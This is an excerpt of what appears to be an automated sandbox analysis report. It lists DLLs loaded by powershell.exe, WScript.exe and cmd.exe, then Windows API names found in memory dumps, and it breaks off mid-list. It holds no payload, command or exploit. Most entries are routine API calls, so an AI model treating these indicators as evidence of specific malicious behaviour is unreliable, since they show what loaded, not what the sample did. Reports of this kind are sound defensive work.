"LoadLibrary" with a parameter version.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00007740) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00007740) "alg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007412) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005764) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005764) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005764) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005764) "WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005764) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005764) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005764) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00005764) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005764) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005764) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00005764) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00005764) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005764) "WScript.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00005764) "WScript.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005764) "WScript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005764) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006780) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006780) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006780) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006780) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00006336) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00006336) "alg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003812) "alg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003812)33:T9a1b,Found reference to API (Indicator: "RegQueryValueExW"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "SetProcessDEPPolicy"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; File: "00000000-00007804.00000001.76076.6F1C2000.00000002.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "EventWrite"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "InstallELAMCertificateInfo"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "WSACleanup"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "BCryptGetProperty"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "BCryptDestroyHash"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "BCryptCreateHash"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "BCryptFinishHash"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "BCryptHashData"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CryptDestroyHash"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CryptCreateHash"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CryptGetHashParam"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CryptHashData"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CryptReleaseContext"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireContextW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CryptGenRandom"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminCalcHashFromFileHandle"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminAcquireContext"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminEnumCatalogFromHash"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminReleaseContext"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFromStringBindingW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetAuthInfoExW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetOption"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFree"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RpcSmDestroyClientContext"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RpcStringFreeW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RpcStringBindingComposeW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp") Found reference to API (Indicator: "UnregisterWaitEx"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "RegisterWaitForSingleObject"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 00000000-00006336.00000000.86016.24902000.00000002.mdmp, 00000000-00006336.00000000.86016.C120A000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00006336.00000000.86016.13B68000.00000002.mdmp, 